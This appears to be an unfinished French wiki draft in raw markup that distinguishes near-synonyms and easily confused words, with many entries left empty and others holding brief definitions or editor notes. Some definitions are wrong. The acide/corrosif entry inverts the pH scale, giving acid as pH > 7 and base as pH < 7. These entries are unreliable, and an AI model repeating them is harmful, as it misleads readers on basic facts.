<dt>[[w:synonymie|synonymie]]</dt> <dd>Fond identique</dd> <dt>[[w:parasynonymie|parasynonymie]]</dt> <dd>Fond similaire</dd> <dt>[[w:polysémie|polysémie]]</dt> <dd></dd> </dl> <p>Voir [http://blog.empyree.org/?2148-subtilites Subtilités].</p> === Chameau/Dromadaire === <dl> <dt>Chameau</dt> <dd>Camélidé à deux bosses</dd> <dt>Dromadaire</dt> <dd>Camélidé à une bosse</dd> </dl> === Jour/Journée/Nycthémère === <dl> <dt>Jour</dt> <dd></dd> <dt>Journée</dt> <dd>Contenu d’un jour.</dd> <dt>Nycthémère</dt> <dd>Cycle d’un jour et d’une nuit.</dd> </dl> === candidats/impétrants === <dl> <dt></dt> <dd></dd> </dl> === bénéfice/surtaxe === <dl> <dt></dt> <dd></dd> </dl> === mousseux/pétillant/perlant === <dl> <dt></dt> <dd></dd> </dl> === vin de liqueur/vin liquoreux === <dl> <dt></dt> <dd></dd> </dl> === zoom/macro/téléobjectif === <dl> <dt></dt> <dd></dd> </dl> === autocrate/dictateur/monarque === <dl> <dt>Autocrate</dt> <dd>Qui ne tire son pouvoir de personne, et l’exerce seul. Hyponyme de dictateur (?)</dd> <dt>Dictateur</dt> <dd>Qui exerce son pouvoir de manière autoritaire dans le mépris des lois.</dd> <dt>Monarque</dt> <dd>Qui détient seul le pouvoir dans le respect des lois et tradition.Il tient sa légitimité de sa naissance (monarchie de droit divin) ou par son élection par les paires du royaume (monarchie élective)</dd> </dl> === Mage/Magicien/Sorcier === <dl> <dt>Mage</dt> <dd></dd> <dt>Magicien</dt> <dd></dd> <dt>Sorcier</dt> <dd></dd> </dl> Magie ou sorcellerie ? Le sorcier, généralement campagnard et parfois frustre, a un don au départ, voire une possession par le diable selon une certaine conception chrétienne datant du XⅤ<sup>e</sup> siècle (début des bûchers pour les sorcièr-es. Le mage et le magicien ont acquis leur pouvoir par l'étude, la sagesse et la méditation. Mage ou magicien ? les deux conceptions sont très proches. À l’origine, le mage était un prêtre perse. Le mot s’est étendu à d'autres religieux ou hommes plein de sagesse pratiquant la magie. Ce n’est qu’au ⅩⅤⅠⅠ<sup>e</sup> siècle que le terme de Magicien remplaça petit à petit celui de Mage. Aujourd'hui le magicien ( contrairement au mage), s'est affranchi de la religion, et ses spécialités sont plus variés : nécromanciens, conjurateurs, invocateurs ... === Psychiatre/Psychologue/Psychothérapeute/Psychanalyste === Ceci est valable pour le Québec. <dl> <dt>Psychiatre</dt> <dd>Médecin spécialisé en psychiatrie, la majorité de ceux ci travaillent avec une clientèle de personnes souffrant de problèmes de santé mentale ou psychose. Le psychiatre peut donc prescrire une médication à ses patients et ils ne font pas de thérapies comme telles, à part quelques exceptions.</dd> <dt>Psychologue</dt> <dd>Ce n’est pas un médecin et il ne prescrit donc pas, mais il a la formation nécessaire pour faire de la thérapie. Beaucoup de gens les consultent mais pas pour des troubles de santé mentale sévères comme la schizophrénie par exemple, ceux ci étant plus du domaine de la psychiatrie.</dd> <dt>Psychanalyste</dt> <dd>Au Québec, les psychanalystes sont assez rares, contrairement à l’Europe. Le Québec a plutôt des psychologues d’orientation psychanalytique. le domaine de la psychanalyse et celui de la Névrose</dd> <dt>Psychothérapeute</dt> <dd>Ce sont des personnes pratiquant la relation d’aide mais à différents niveaux. Comme ce titre n’est pas protégé au Québec. n’importe qui peut s’improviser psychothérapeute, et ce, sans études précises. C’est un domaine ou il faut faire très attention.</dd> </dl> ([http://fr.groups.yahoo.com/group/empyree/message/970 source]) === Podologie/Pédicurie === <dl> <dt>Podologue</dt> <dd>Étude du pied.</dd> <dt>Pédicure</dt> <dd>Soin du pied.</dd> </dl> === Geek/Nerd/Otaku/Passionné === Les deux premiers cas sont des termes génériques qui sont maintenant plus spécialement attachés à l’informatique, ''Otaku'', de par son origine, se réfère encore beaucoup aux passionnés de culture asiatique ou en particulier de ''mangas''. <small>Pour le geek, doit-on aussi signaler la prononciation ?</small> <dl> <dt>Geek(ette)</dt> <dd></dd> <dt>Nerd</dt> <dd></dd> <dt>Otaku</dt> <dd></dd> <dt>Passionné(e)</dt> <dd></dd> </dl> === hacker/cracker/hactiviste === <dl> <dt>hacker</dt> <dd>Terme généraliste pour les pirates informatiques. Terme aussi utilisé pour désigner les pirates motivés par la passion de l'informatique.</dd> <dt>cracker</dt> <dd>A l'origine ce sont les hackers spécialisés dans le piratage de logiciel pour permettre une utilisation libre. Méchant hacker, qui n'hésite ou à tirer profit de leur piratage selon la légende urbaine.</dd> <dt>hactiviste</dt> <dd>hacker agissant pour des raisons militantes et politiques. Ces motivations peuvent être diverses et variées.</dd> </dl> === mutuel/réciproque === <dl> <dt></dt> <dd></dd> </dl> === sérif/empattement === <dl> <dt></dt> <dd></dd> </dl> === coïncidence/concomitance/corrélation === <dl> <dt></dt> <dd></dd> </dl> === Portable / Portatif === <dl> <dt>Portable</dt> <dd>mettable</dd> <dt>Portatif</dt> <dd>qui tient dans la main</dd> </dl> === excessivement/extrêmement === <dl> <dt></dt> <dd></dd> </dl> === signifiant/signifié === Ces deux termes ont été proposés par Ferdinand de Saussure dans son ''Cours de linguistique générale'' (1916). <dl> <dt>Signifiant</dt> <dd>La part matérielle du signe, sonore ou visuelle.</dd> <dt>Signifié</dt> <dd>La part notionnelle du signe, sa valeur sémantique.</dd> </dl> === symbolique/symbolisme === <dl> <dt></dt> <dd></dd> </dl> === anarchie/anarchisme === <dl> <dt>anarchie</dt> <dd>Désordre</dd> <dt>[[w:Anarchisme|anarchisme]]</dt> <dd>Dotctrine politique</dd> </dl> === occasion/opportunité/pertinence/relevance === <blockquote cite="http://listetypo.free.fr/meron/new/QualTyp1.pdf"> <p>Occasion a disparu au profit d’opportunité. Mot balourd et obscur, emprunté à l’anglais. En anglais, <dfn xml:lang="en">opportunity</dfn> signifie ''occasion''. En médialangue, j’ai entendu un journaliste sportif dire : « Cantona a eu l’occasion, pardon, je veux dire l’opportunité… » Aujourd’hui, n’est-ce pas, c’est l’opportunité qui fait le larron.</p> </blockquote> <dl> <dt>occasion</dt> <dd></dd> <dt>[[wikt:opportunité|opportunité]]</dt> <dd>caractère de ce qui est opportun, de ce qui survient au bon moment. Mot apparenté : fenêtre (aéronautique)</dd> <dt>pertinence</dt> <dd>caractère de ce qui est pertinent, approprié</dd> <dt>relevance</dt> <dd><tt>à vérifier, l'ATILF le classe synonyme</tt></dd> </dl> === chiffre/nombre/numéro === <dl> <dt>Chiffre</dt> <dd>0-9 en système décimal (0-F en héxadécimal, etc.)</dd> <dt>Nombre</dt> <dd>L'ensemble des combinaisons possibles. Les chiffres sont des nombres (par exemple, 7 est un nombre quand il est seul mais devient un chiffre dans 147).</dd> <dt>Numéro</dt> <dd> <blockquote cite="http://fr.wikipedia.org/wiki/Nombre"> <p>La langue française, à la différence de beaucoup d’autres, utilise deux mots proches : nombre et numéro, pour désigner des notions voisines. Si le numéro désigne souvent un code représenté par des chiffres (numéro de téléphonne, jeton de loto...), il suggère l'idée d'un emplacement particulier dans une suite ordonnée d'éléments (adresse dans une rue, en l'occurrence, les chiffres ne suffisent plus à exprimer le 3bis de la rue). Le nombre, quant à lui, induit plutôt l'idée de quantité, de population. Lorsqu'il n'est pas attaché à un objet (numéro) ou des objets (population), le nombre est une abstraction pure. Ainsi le numéro est représenté par des chiffres composant un nombre.</p> </blockquote> </dd> </dl> === murmurer/chuchoter/sous-vocaliser === <dl> <dt></dt> <dd></dd> </dl> === romantique/romanesque === <dl> <dt></dt> <dd></dd> </dl> === deuxième/second === Vrais synonymes. ([http://www.academie-francaise.fr/langue/questions.html#deuxieme Source : Académie française]) === karma/dharma === <dl> <dt></dt> <dd>Voir un mail d’une certaine Agrippine (dans les archives éso)</dd> </dl> === hacker/cracker === <dl> <dt></dt> <dd></dd> </dl> === humble/modeste === <dl> <dt>humble</dt> <dd>du latin ''humilis'', «qui est proche du sol» (de ''humus'', le sol) donc au figuré «simple», «qui n'est pas élevé»</dd> </dl> <dl> <dt>modeste</dt> <dd>du latin ''modestus'', «qui a le sens de la mesure» (de ''modus'', «la mesure», «la modération») donc «qui évite les excès»</dd> </dl> === bitmap/pixmap === <dl> <dt></dt> <dd></dd> </dl> === GNOME/KDE === <dl> <dt></dt> <dd></dd> </dl> === solution/soluté === <dl> <dt></dt> <dd></dd> </dl> === autonome/indépendant === <dl> <dt></dt> <dd></dd> </dl> === métaphysique/surnaturel === <dl> <dt></dt> <dd>(synonymes car étymologie, faire un article sur l’étymologie et le latin/grec)</dd> </dl> === héristique/épistémologie === <dl> <dt></dt> <dd></dd> </dl> === écologiste/écologue/écologisme === <dl> <dt></dt> <dd></dd> </dl> === Rose+Croix/rosicrucien/AMORC === <dl> <dt></dt> <dd></dd> </dl> === oligopole/cartel === <dl> <dt></dt> <dd></dd> </dl> === traduire/transcrire/translater === <dl> <dt></dt> <dd>(J’ai vu le terme dans la revue médiévale, dans le pseudo-entretien avec Geoffroy de Monmouth)</dd> <dd>traduire : adapter le sens d’un texte</dd> <dd>transcrire : écrire en alphabet moderne un texte ancien, et en développant les abréviations (fréquentes dans les chartes, le parchemin était cher)</dd> </dl> === idée/notion/concept === === avis/opinion === <dl> <dt></dt> <dd></dd> </dl> === inné/acquis === <dl> <dt></dt> <dd></dd> </dl> === Entretien/Entrevue/Interview === <dl> <dt>Entretien</dt> <dd></dd> <dt>Entrevue</dt> <dd></dd> <dt>Interview</dt> <dd></dd> </dl> ''Interview'' est un anglicisme. Lorsqu'il est utilisé francais, c'est généralement dans un contexte médiatique (télévision, radio, journaux). Entrevue est la traduction littérale en français de l'anglais interview. === Dessinateur/dessineur === <dl> <dt>Personne qui dessine</dt> <dd></dd> <dt>Dessineur</dt> <dd>Proposition de traduction pour designer (le design devenant le dessinage)<!-- Le premier terme a été proposé par un lecteur de magazine, le second est un ajout personnel-->. Mais il est peut-être inutile car les termes "créateur" et "concepteur" traduisent très bien "designer". Ainsi, le design ''webdesign'' peut être [[w:Calque|calqué]] en design Web ou traduit en ''création Web''.</dd> </dl> === utopie/dystopie/uchronie === <dl> <dt></dt> <dd></dd> </dl> === courageux/téméraire === <dl> <dt></dt> <dd></dd> </dl> === Mercatique/marchandisage === <dl> <dt>Mercatique</dt> <dd>Francisation de ''[[w:Mercatique|marketing]]''</dd> <dt>Merchandisage</dt> <dd>Francisation de ''[[w:Merchandising|merchandising]]</dd> </dl> === demi/semi === <dl> <dt></dt> <dd></dd> </dl> === événement/évènement === <dl> <dt></dt> <dd>Les deux orthographes sont acceptées. La première écriture est la plus commune, mais la seconde correspond davantage à la prononciation. Français, quand tu nous tiens…</dd> </dl> === trou noir/trou blanc/fontaine blanche/trou du ver === <dl> <dt></dt> <dd></dd> </dl> === liste de discussion/liste de diffusion/forum/newsgroup/Usenet === <dl> <dt></dt> <dd></dd> </dl> === zélote/zélateur/thuriféraire === <dl> <dt></dt> <dd></dd> </dl> === égoïste/égotiste === <dl> <dt></dt> <dd></dd> </dl> === son blanc/bruit blanc === <dl> <dt></dt> <dd></dd> </dl> === idéal/idéél === <dl> <dt></dt> <dd></dd> </dl> === Lune/lune/Terre/terre/Soleil/soleil/ === <dl> <dt></dt> <dd></dd> </dl> === mouvement/mouvance === <dl> <dt></dt> <dd></dd> </dl> === Népotisme/Piston/Parrainage === <dl> <dt>Parrainage</dt> <dd>Obtention de quelque chose de mérité grâce à ses relations.</dd> <dt>Népotisme, piston</dt> <dd>Obtention de quelque chose de ''non'' mérité grâce à ses relations.</dd> </dl> === cryptographie/cryptage/chiffrement/chiffrage === <dl> <dt></dt> <dd></dd> </dl> === gravage/gravure === <dl> <dt></dt> <dd></dd> </dl> === rigoureux/scientifique === <dl> <dt></dt> <dd></dd> </dl> === objet/sujet === <dl> <dt></dt> <dd></dd> </dl> === standard/conventionnel === <dl> <dt></dt> <dd></dd> </dl> === systématique/systémique === <dl> <dt></dt> <dd></dd> </dl> === religion/religiosité === <dl> <dt></dt> <dd></dd> </dl> === séculier/séculaire === <dl> <dt></dt> <dd></dd> </dl> === attirance/attraction === <dl> <dt></dt> <dd></dd> </dl> === médiéval/moyenâgeux === <dl> <dt></dt> <dd></dd> </dl> === Web/Internet === <dl> <dt></dt> <dd></dd> </dl> === multimédia/plurimédia === <dl> <dt></dt> <dd></dd> </dl> === social/sociétal/civique/urbain/citadin/citoyen === <dl> <dt></dt> <dd> <blockquote cite="http://www.u-blog.net/eolas/note/24"> <p>Le mot ''citoyen'' n’a jamais été un adjectif, seulement un génitif ; l’adjectif correspondant est ''civique''. Le mot « citoyenne » dans l’expression « une attitude citoyenne » est un barbarisme tout à fait incorrect, et n’est pas du français, mais du « communiquant », ne vous laissez pas abuser).</p> </blockquote> </dd> </dl> === conductance/conduction/conductivité === <dl> <dt></dt> <dd></dd> </dl> === luminance/luminosité === <dl> <dt></dt> <dd></dd> </dl> === diffraction/diffusion/réfraction === <dl> <dt></dt> <dd></dd> </dl> === mobile/nomade/portable === <dl> <dt></dt> <dd></dd> </dl> === ubiquiste/eurytherme === <dl> <dt></dt> <dd>(Je crois que c’est fonctionnel technique : les eurythermes sont tolérants par nature, les ubiquistes, changent de physiologie)</dd> </dl> === rayonnement/radiation === <dl> <dt></dt> <dd></dd> </dl> === tropical/intertropical/équatorial === <dl> <dt></dt> <dd></dd> </dl> === passionnante/passionné/passionnel === <dl> <dt></dt> <dd></dd> </dl> === intérêt public/intérêt général/intérêt collectif === <dl> <dt></dt> <dd></dd> </dl> === derviche/soufiste === <dl> <dt></dt> <dd></dd> </dl> === Catholique/Catholique romain/Orthodoxe === <dl> <dt>Catholique</dt> <dd></dd> <dt>Catholique romain</dt> <dd>Le rite catholique le plus répandu. Exemple d'autres rites : les [[Maronisme|maronites]]. [http://blog.empyree.org/?2103-le-judaisme-entre-le-juste-la-camera-et-le-goy#c4506 Commentaire]</dd> <dt>Orthodoxe</dt> <dd></dd> </dl> === sunniste/chiite === <dl> <dt></dt> <dd></dd> </dl> === forcir/forcer === <dl> <dt></dt> <dd></dd> </dl> === agonir/agoniser === <dl> <dt></dt> <dd></dd> </dl> === astérisque/astérisme === <dl> <dt></dt> <dd></dd> </dl> === Angleterre/Grande-Bretagne/Royaume-Uni/Îles Britanniques === <dl> <dt></dt> <dd> <ul> <li>Angleterre : nation bordant la Manche, de l’autre côté de la France</li> <li>Grande-Bretagne : groupement de l’Angleterre, du pays de Galles et de l’Écosse. Dénomination politique.</li> <li>Royaume-Uni : groupement de la Grande-Bretagne et de l’Ulster. Dénomination politique.</li> <li>Îles Britanniques : groupement du Royaume-Uni et de l’Irlande. Dénomination géographique.</li> </ul> </dd> </dl> === signifiant/signifié/signifiance/signification === <dl> <dt></dt> <dd></dd> </dl> === site/situation === <dl> <dt></dt> <dd>(géographie)</dd> </dl> === astronaute/cosmonaute/spationaute/afronaute/taïkonaute === <dl> <dt>Astronaute</dt> <dd>Voyageur de l'espace américain</dd> <dt>Cosmonaute</dt> <dd>Voyageur de l'espace russe</dd> <dt>Spationaute</dt> <dd>Voyageur de l'espace européen</dd> <dt>Afronaute</dt> <dd>Voyageur de l'espace africain</dd> <dt>Taïkonaute</dt> <dd>Voyageur de l'espace chinois</dd> </dl> === Francophonie/francophonie/Commonwealth === <dl> <dt></dt> <dd>(voir l’URL québécoise)</dd> </dl> === cultural/culturel === <dl> <dt></dt> <dd></dd> </dl> === littéraire/littéral === <dl> <dt></dt> <dd></dd> </dl> === structural/structurel === <dl> <dt></dt> <dd></dd> </dl> === géologie/géomorphologie/géophysique/géodésie === === prairie/Prairie === <dl> <dt></dt> <dd></dd> </dl> === maquis/garrigue === === sujet (d’expérience)/objet (d’étude) === <dl> <dt></dt> <dd></dd> </dl> === marais/marécage === <dl> <dt></dt> <dd></dd> </dl> === argutie/argument === <dl> <dt></dt> <dd></dd> </dl> === argument/argumentaire === <dl> <dt></dt> <dd></dd> </dl> === eurytherme/ubiquiste === <dl> <dt></dt> <dd></dd> </dl> === thermocline/ === <dl> <dt></dt> <dd></dd> </dl> === salinité/salaison === <dl> <dt></dt> <dd></dd> </dl> === rédhibitoire/prohibitif === <dl> <dt></dt> <dd></dd> </dl> === catégorique/catégoriel === <dl> <dt></dt> <dd></dd> </dl> === entrevue/entretien/rendez-vous === <dl> <dt></dt> <dd></dd> </dl> === sauriens/dinosaures === <dl> <dt></dt> <dd>(prim’histoire)</dd> </dl> === Taiji/Yin-yang === <dl> <dt>Yin-yang</dt> <dd>Principes philosophiques</dd> <dt>Taiji</dt> <dd>Représentation graphique du précédent ([http://www.taiji-blankenese.de/Gifs/Taji-Symbol.gif image])</dd> </dl> === géomancie/géobiologie/feng-shui === <dl> <dt></dt> <dd></dd> </dl> === hallal, cacher === <dl> <dt></dt> <dd></dd> </dl> === foi/ferveur === <dl> <dt></dt> <dd></dd> </dl> === grec/latin === <dl> <dt></dt> <dd> Prendre les exemples d’arborescence-dendritique, surnaturel-métaphysique pour montrer que ce sont de vrais synonymes, sauf que l’on met du grec en science et du latin en littérature. Montrer que c’est différent pour les pays anglo-saxons, où les racines latines servent souvent à des superlatifs maximaux (grand, chevalier…)</dd> </dl> === souk/bazar === <dl> <dt></dt> <dd></dd> </dl> === racine/tubercule === <dl> <dt></dt> <dd></dd> </dl> === un espace/une espace === <dl> <dt></dt> <dd></dd> </dl> === viticole/vinicole === <dl> <dt></dt> <dd></dd> </dl> === remembrement/concentration === === Marquis/Maréchal === <dl> <dt>Marquis</dt> <dd>Distinction nobiliaire. Comte des frontières</dd> <dt>Maréchal</dt> <dd>Distinction militaire, la plus haute</dd> </dl> Les deux mots ne sont pas étymologiquement liés malgré les apparences. === jouabilité/gameplay === <dl> <dt></dt> <dd></dd> </dl> === ostensible/ostentatoire === <dl> <dt></dt> <dd></dd> </dl> === sorcellerie/wicca === <dl> <dt></dt> <dd></dd> </dl> === hystérie/histrionisme === <dl> <dt></dt> <dd></dd> </dl> === écologue/écologiste === <dl> <dt></dt> <dd></dd> </dl> === relief/modelé === <dl> <dt>Relief</dt> <dd>Le relief s’occupe de la profondeur.</dd> <dt>Modelé</dt> <dd>Le modelé s’occupe des couches superficielles et est le résultat des actions du climat sur le relief.</dd> </dl> === Bosnien/Bosniaque === <dl> <dt>Bosnien</dt> <dd>Relatif à la Bosnie-Herzégovine.</dd> <dt>Bosniaque</dt> <dd>Bosnien musulman</dd> </dl> === Death Metal/Black Metal/Speed Metal === <dl> <dt></dt> <dd>(http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=C384)</dd> </dl> === Gruyère/Emmental === <dl> <dt>Emmental</dt> <dd>Fromage cuit au lait de vache avec des trous. Originaire de Suisse</dd> <dt>Gruyère</dt> <dd>Fromage cuit au lait de vache sans trous. Originaire de Suisse</dd> <dt>Parmesan</dt> <dd>Fromage cuit au lait de vache sans trous. Originaire d'Italie</dd> </dl> Sous forme rapée, ces trois fromages sont utilisés pour agrémenter des plats chaud. Il est une croyance répandue que le gruyère à des trous. L'origine de cette croyance n'est pas connue. === germain/germanique === <dl> <dt></dt> <dd></dd> </dl> === romans/romands === <dl> <dt></dt> <dd></dd> </dl> === scolaire/scolastique === <dl> <dt></dt> <dd></dd> </dl> === vote/votation (spécificité suisse) === <dl> <dt></dt> <dd></dd> </dl> === morgue/hauteur/arrogance === <dl> <dt></dt> <dd></dd> </dl> === Moravie/Moldavie === <dl> <dt></dt> <dd></dd> </dl> === Galicie/Galice === <dl> <dt></dt> <dd></dd> </dl> === catholiques/orthodoxes === <dl> <dt></dt> <dd></dd> </dl> === montagneux et montagnards === <dl> <dt></dt> <dd></dd> </dl> === autochtone/indigène/aborigène === <dl> <dt></dt> <dd></dd> </dl> === blanchiment/blanchissement === <dl> <dt></dt> <dd></dd> </dl> === hongrois/magyar === <dl> <dt></dt> <dd> <blockquote cite="http://www.tlfq.ulaval.ca/axl/europe/hongriegeneral.htm"> <p>Les Hongrois dont la langue maternelle est le hongrois s’appellent des Magyars.</p> </blockquote> </dd> </dl> === ouralien/finno-ougrien === <dl> <dt></dt> <dd> <blockquote cite="http://mapage.noos.fr/estonie/adefo/peuples.html"> <p>Les termes <dfn>finno-ougrien</dfn> et <dfn>ouralien</dfn> sont aujourd’hui employés comme synonymes par un certain nombre de spécialistes. À l’origine toutefois, ''finno-ougrien'' avait un sens plus étroit qui excluait le groupe des langues samoyèdes, tandis qu’''ouralien'' désignait l’ensemble de la famille linguistique. Cette distinction semble en voie d’effacement.</p> </blockquote> </dd> </dl> === Feuille/Page === <dl> <dt>Feuille</dt> <dd>Morceau de papier rectangulaire</dd> <dt>Page</dt> <dd>Chacune des faces d'une feuille. On peut augmenter le nombre de pages en pliant une feuille</dd> </dl> === acide/corrosif/caustique === <dl> <dt>Acide</dt> <dd>pH > 7</dd> <dt>Corrosif</dt> <dd>Substance attaquant d’autres substances</dd> <dt>Caustique</dt> <dd>Substance attaquant les tissus organiques. Hyponyme du précédent</dd> </dl> Par conséquent, une ''base'' (pH < 7) peut être aussi corrosive qu’un acide. === vignerons/viticulteurs (winegrower?)/viniculteurs (winemaker?) === <dl> <dt></dt> <dd></dd> </dl> === typologie/monographie === <dl> <dt></dt> <dd></dd> </dl> === boucher/bouchonner === <dl> <dt></dt> <dd></dd> </dl> === ersatz/substitut/succédanné/équivalent === <dl> <dt></dt> <dd></dd> </dl> === déité/divinité/dieu-désse === <dl> <dt></dt> <dd></dd> </dl> === boxe anglaise/boxe américaine/boxe française/boxe chinoise/boxe thaïlandaise === <dl> <dt></dt> <dd></dd> </dl> === moniale/nonne === <dl> <dt></dt> <dd></dd> </dl> === église/Église === <dl> <dt></dt> <dd></dd> </dl> === catholique/catholique romain === <dl> <dt></dt> <dd></dd> </dl> === obsessionnel/obsidional === <dl> <dt></dt> <dd>(http://dicopsy.free.fr/PATHO/o1.html)</dd> </dl> === Taxonomie/Taxidermie/(chauffeur de) Taxi === <dl> <dt>Taxinomie</dt> <dd>Science de la classification biologique. Vient du grec ''taxis'' (classification)</dd> <dt>Taxidermie</dt> <dd></dd> <dt>Taxi</dt> <dd>Le moyen de transport en commun vient de taximètre, lui même provenant de taxe.</dd> </dl> === cépage/sous-espèce/variété === <dl> <dt></dt> <dd>"Et au fait, quelle est la différence entre la variété et le cépage ? Aucune, mais on parle de variété pour le raisin de table et de cépage pour la vigne. Les fruits de table, consommés frais ou secs, ne proviennent pas en général, de la même variété que celle produite par la vigne, hormis pour le chasselas et le muscat." http://www.espritduvin.com/special/RaisindeTable/RaisinTableChiffres.htm=</dd> </dl> === jus de raisin/vin sans alcool === <dl> <dt></dt> <dd></dd> </dl> === hyperbole/analogie === <dl> <dt></dt> <dd></dd> </dl> === Open Source/Domaine public === <dl> <dt></dt> <dd></dd> </dl> === Dictionnaire/Encyclopédie === <dl> <dt>Dictionnaire</dt> <dd>''Définit'' l’ensemble des mots d’une langue (leur origine, leur emploi…). Positionnement linguistique.</dd> <dt>Encyclopédie</dt> <dd>''Explique'' les choses. Positionnement scientifique.</dd> </dl> Voir [[w:Wikipédia:Wikipédia_n'est_pas_un_dictionnaire|Wikipédia n’est pas un dictionnaire]]. === Capitale/majuscule === <dl> <dt>Capitale</dt> <dd>Majuscule initiale, glyphe</dd> <dt>Majuscule</dt> <dd>La majuscule est un caractère (avec donc un sens sémantique) alors que la capitale est un glyphe (avec donc un sens uniquement typographique, de présentation). Voir <a href="#">l’entrée caractère/glyphe</a> pour plus d’informations à ce sujet. l’écriture moderne met une capitale en début de mot, mais : <ul> <li>Ça n’a pas toujours été le cas.</li> <li>La phrase n’en est en rien changée dans son sens (puisque la capitale est de présentation), contrairement ce qui se passerait si on mettait une minuscule à un nom propre.</li> </ul> On rappellera cependant que Nina Catach tenait à la différence entre la capitale (haut de casse, par opposition au bas de casse qui désigne, en langage typographique, les minuscules) et majuscule, dans les cas où la capitalisation, est obligatoire : noms propres, débuts de phrase (cf. Nina Catach, La Ponctuation, PUF, « Que sais-je ? » n°218, 2e éd. corrigée, Paris, 1994-1996 p. 83).</dd> </dl> * Voir une [http://users.skynet.be/typographie/faq/Capac.html explication par Jean-Paul Lacroux] * Voir aussi CSS : en anglais, uppercase et capitalize dans text-transform === hominidé/homininé/hominoïde/hominien === <dl> <dt>Hominoïde</dt> <dd>Singe sans queue (Gibbon, Orang-Outan, Gorille, Bonobo, Chimpanzé, Homme...)</dd> <dt>Hominidé </dt> <dd>Singe possédant une bipédie partielle & le Gorille (Gorille, Bonobo, Chimpanzé, Homme...) </dd> <dt>Homininé</dt> <dd>Singe possédant une bipédie partielle (Bonobo, Chimpanzé, Homme...)</dd> Tous ces clades appartiennent au clade des primates </dl> === lagon/lagune === <dl> <dt></dt> <dd></dd> </dl> === hédonisme/épicurisme === <dl> <dt></dt> <dd></dd> </dl> === quel est le plus jeune état d’Europe ? La Slovaquie, l’Andorre ou Sealand ? === <dl> <dt></dt> <dd></dd> </dl> === litote/euphémisme === <dl> <dt></dt> <dd></dd> </dl> === Slovénie/Slovaquie/Slavonie === <dl> <dt></dt> <dd></dd> </dl> === Préliminaire/Liminaire/Introduction/Préambule === <dl> <dt></dt> <dd></dd> </dl> === voïvodat/duché === <dl> <dt></dt> <dd></dd> </dl> === idéel/idéal === <dl> <dt></dt> <dd></dd> </dl> === histoire naturelle/biologie === <dl> <dt></dt> <dd>(demander à Cécile gvdr@teaser.fr)</dd> </dl> === mythomane/affabulateur === <dl> <dt></dt> <dd></dd> </dl> === Politicien/politologue/politiste === <dl> <dt></dt> <dd></dd> </dl> === Arbitraire/arbitrale === <dl> <dt></dt> <dd></dd> </dl> === raffinement/raffinage === <dl> <dt></dt> <dd>Noter que le verbe est (malheureusement) dans les deux cas le même</dd> </dl> === Minutieux/méthodique === <dl> <dt></dt> <dd></dd> </dl> === Description/descriptif === <dl> <dt></dt> <dd></dd> </dl> === aérogénérateur/éolienne === <dl> <dt></dt> <dd></dd> </dl> === Cornouailles/Cornouaille === <dl> <dt></dt> <dd></dd> </dl> === sanitaire/hygiénique === <dl> <dt></dt> <dd></dd> </dl> === véritable/véridique === <dl> <dt></dt> <dd></dd> </dl> === souverainisme/souveraineté === <dl> <dt></dt> <dd>http://www.lemonde.fr/article/0,5987,3230--332945-,00.html</dd> </dl> === Grappe (''Cluster'') / Grille (''Grid computing'') === Le ''grid computing'' est une grappe physiquement délocalisée, l’exemple le plus connu en étant le projet de recherche d’extra-terrestres [[w:SETI@home|SETI@home]]. === citadin/urbain === <dl> <dt></dt> <dd></dd> </dl> === sandales/sandalettes/espadrilles/nu-pieds === <dl> <dt></dt> <dd></dd> </dl> === glyphe/hiéroglyphe/idéogramme/pictogramme/sinogramme/œil/logogramme === <dl> <dt></dt> <dd></dd> </dl> === orgueil/prétention === <dl> <dt></dt> <dd></dd> </dl> === Moyenne/Médiane === <dl> <dt>Moyenne</dt> <dd>Valeur moyenne d'un ensemble <small>définition à revoir</small> </dd> <dt>Médiane</dt> <dd>Variation sur le principe de la moyenne pour évacuer le « bruit » provoqué par des extrêmes non représentatif. Plus utile mais plus complexe à calculer</dd> </dl> <small>texte ci-dessous à revoir</small> nuance utilisée en statistique et probabilités ( voir courbe de Gauss). moyenne : total divisé par Nbre d'individus médiane : élément au milieu ne pas oublier LE MODE : nbre le plus fréquent exemple : Deux dés lancés ensemble 18 fois, obtenus ( en reclassant) : 2, 4, 5, 5, 6, 6, 6, 6, 7, 7, 7, 8, 8, 9,9,10,11, 12. moyenne 128/18 = 7,11 médiane( nbres du milieu après les avoir classés) : 7 mode : 6 ( 4fois). mode, moyenne et médiane sont logiquement tres proches ( sur 10 000 lancés, ils seraient tous egaux à 7, à quelques millièmes près pour la moyenne). Source Dracula 2 === localisation/internationalisation === <dl> <dt></dt> <dd></dd> </dl> === Région/région === <dl> <dt></dt> <dd>La Région (avec une capitale) est une circonscription administrative française datant de 1982 ; la région (sans capitale) est une délimitation géographique plus ou moins floue.</dd> </dl> === Adéquat/Idoine === <dl> <dt></dt> <dd></dd> </dl> === Mort/Inerte === <dl> <dt></dt> <dd>Est mort ce qui a été vivant.</dd> </dl> === Viable/Vivable === <dl> <dt></dt> <dd></dd> </dl> === Arguments/Argumentations === <dl> <dt></dt> <dd></dd> </dl> === Personne/Personnage === <dl> <dt></dt> <dd></dd> </dl> === (Soldat) de fortune/(Abri) de fortune === <dl> <dt></dt> <dd></dd> </dl> === Crapaud/Grenouille - Lapin/Lièvre - Chouette/Hibou - Corbeau/Corneille - Rat/Souris === <dl> <dt></dt> <dd></dd> </dl> === ''Byte'' (B)/bit (b) === <dl> <dt></dt> <dd></dd> </dl> === Parabole/Périphrase/Allégorie/Comparaison/Métaphore/Kenning === <dl> <dt>Parabole</dt> <dd></dd> <dt>Périphrase</dt> <dd>Allégorie</dd> <dt>Comparaison</dt> <dd></dd> <dt>Métaphore</dt> <dd></dd> <dt>Kenning</dt> <dd>Soit des poèmes interprétés par les [[w:Skalde|skaldes]], soit les périphrases composants lesdits poèmes, je ne sais pas trop.</dd> </dl> Voir aussi [http://users.skynet.be/fralica/refer/theorie/annex/figstyl/dexplfig.htm Explication des figures] === Traduction/interprétation/translation === <dl> <dt></dt> <dd><q cite="http://fr.wikipedia.org/wiki/Traduction">La traduction s’oppose à l’interprétation : la traduction concerne des documents écrits alors que l’interprétation concerne des messages oraux.</q>.</dd> </dl> === Rocade/Périphérique === <dl> <dt></dt> <dd></dd> </dl> === Matelot/Marin === <dl> <dt>Matelot</dt> <dd>Membre de l'équipage sur un bateau</dd> <dt>Marin</dt> <dd>Matelot militaire</dd> </dl> === Art/Bel-art === <dl> <dt></dt> <dd>Le bel-art serait-il une formalisation française ?</dd> </dl> === Ésotérisme/Occultisme === <dl> <dt></dt> <dd></dd> </dl> === Contribuable/Contributeur === <dl> <dt></dt> <dd></dd> </dl> === cent/centime/eurocent === <dl> <dt></dt> 